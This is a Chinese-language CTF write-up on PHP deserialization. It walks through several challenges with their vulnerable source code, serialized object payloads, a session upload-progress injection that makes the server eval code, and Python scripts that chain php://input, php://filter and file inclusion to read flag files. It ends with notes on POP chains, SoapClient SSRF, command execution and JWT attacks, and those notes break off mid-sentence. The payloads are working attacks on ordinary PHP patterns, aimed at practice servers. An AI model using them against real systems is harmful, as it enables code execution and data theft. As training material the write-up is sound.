反序列化专题
http://web.jarvisoj.com:32768
此题为反序列化中最简单的一类题目:源码中存在反序列化函数,类中有可利用的函数,并且该函数在反序列化后被调用。只需要通过反序列化漏洞,改变类中属性的值即可。
showimg.php: 文件读取漏洞
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
index.php :
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
shield.php :
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
看到这里,发现flag在pctf.php中,而showimg.php文件读取函数中过滤了pctf关键字。而index.php中,存在反序列化触发点可执行readfile函数。
payload:
<?php
class Shield {
public $file='pctf.php';
}
$a = new Shield();
$b = serialize($a);
echo $b;
#output: O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
访问:
http://web.jarvisoj.com:32768/?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
得到flag:
<?php
//Ture Flag : PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
//Fake flag:
echo "FLAG: PCTF{I_4m_not_fl4g}"
?>
http://web.jarvisoj.com:32784/
题目源码:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
源码中提示了session的序列化引擎。考虑能否利用session触发反序列化。刚好,题目可以获取phpinfo信息。发现session.upload_progress.enabled开启,则通过上传文件可以控制session内容,从而在服务器读取session时,会触发反序列化。
再通过phpinfo查看disable_functions,发现system,exec等函数被禁用。
首先,构造上传页面upload.html:
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
上传文件,抓包。
构造序列化poc:
<?php
class OowoO
{
public $mdzz;
}
$a = new OowoO();
$a->mdzz = 'var_dump(scandir(dirname(__FILE__)));';
$b = serialize($a);
echo $b;
#O:5:"OowoO":1:{s:4:"mdzz";s:37:"var_dump(scandir(dirname(__FILE__)));";}
改造payload(头部加|,双引号转义):
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:37:\"var_dump(scandir(dirname(__FILE__)));\";}
将burp抓到的post请求,修改文件名为上述payload。
得到flag所在文件: “Here_1s_7he_fl4g_buT_You_Cannot_see.php”
再使用:
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:89:\"var_dump(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
得到flag:
$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";
http://106.14.114.127:21000/
http://106.14.114.127:21001/
魔法方法,构造pop链
<?php
@error_reporting(1);
#include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
}
class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
}
class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
}
?>
http://106.14.114.127:21002/
利用php原生类SoapClient实现ssrf
http://123.206.87.240:8006/test1/
php://input,绕过file_get_contents判断
F12查看源码:
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
这段代码有两个漏洞点:file_get_contents(file),文件内容判断用php://input绕过,利用文件包含漏洞读取hint.php源码。
payload如下:
import requests
session = requests.Session()
paramsGet = {"txt":"php://input","password":"admin","file":"php://filter/read=convert.base64-encode/resource=hint.php"}
rawBody = "welcome to the bugkuctf"
response = session.post("http://123.206.87.240:8006/test1/", data=rawBody, params=paramsGet)
读取到hint.php源码:
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
提示存在flag.php文件。首先尝试用文件包含漏洞,直接读取flag.php文件,发现被过滤:
Response body: hello friend!<br>不能现在就给你flag哦
另外,发现flag类的魔法函数__tostring()可用于读取flag。需要找到一个反序列漏洞,并使用echo触发。使用文件包含漏洞,获取index.php完整代码:
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "ä¸�è�½ç�°å�¨å°±ç»�ä½ flagå�¦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
关键代码段为:
$password = unserialize($password);
echo $password;
满足反序列化触发条件。构造payload:
<?php
class Flag{
public $file="flag.php";
}
$a = new Flag();
$b = serialize($a);
echo $b;
# O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终poc:
import requests
session = requests.Session()
paramsGet = {"txt":"php://input","password":'O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}',"file":"hint.php"}
rawBody = "welcome to the bugkuctf"
response = session.post("http://123.206.87.240:8006/test1/", data=rawBody, params=paramsGet)
http://106.14.114.127:21004/
魔法方法,构造pop链
魔法方法
方法的调用不会保存到序列化中,因此反序列化后,函数的触发是问题的关键。
魔法方法:满足条件时,自动触发。不需要调用。
手册中,可查魔法方法:__toSting(打印时),__call(调用不存在的方法时)等
在类外部赋值,只对public变量有效。private变量,需要再类内部赋值。
构造序列化后,urlencode再发送。
考点:
pop链:串联序列化
结合session,session是通过序列化存在服务器端。session的序列化引擎有三种。一般是php(默认)和php_serialize组合利用。存储用php,反序列化用php_serialize,会出问题。需要控制session内容(uploadgress。。。=on),构造文件上传,filename会在session文件中出现。服务器接收session后,会自动对其反序列化。
payload要加|,做转义。代码中没有序列化的,用session或phar触发。
parse_str 函数可以做变量覆盖。
call_user_func_array危险函数
反引号可以直接执行命令。$IFS代替空格。
绕过__wakeup()是cve,有绕过漏洞。
union select (。。。。),2,3 结合
利用类的同名函数触发
&取地址,用来绕过===,
php原生类同名函数:
soapClient->ssrf
sqlite3,创建空白文件,
simpleXML。。。任意文件读取
Dir。。。列目录
.htaccess 可定义后缀的解析方法。
php脚本快速找同名函数原生类。
可以利用php自带类中的同名方法。
要根据题目的环境,使用脚本找同名原生类。
找原生魔法方法的脚本。
https://corb3nik.github.io/blog/insomnihack-teaser-2018/file-vault
http://www.wupco.cn/?p=4486
CIRL注入,构造http头。
json web token :JWT用于身份验证,保持状态
防串改,不防读取。串改需要伪造签名(需要泄露秘钥)。
结构:header+payload+Signature
攻击方法:
1.修改算法攻击(HS256等):只有公钥等化,改算法为对称算法活着空